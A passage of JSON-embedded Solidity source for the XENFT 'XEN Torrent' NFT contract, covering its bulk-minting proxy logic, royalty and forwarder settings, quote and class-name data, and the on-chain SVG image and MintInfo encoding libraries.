setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 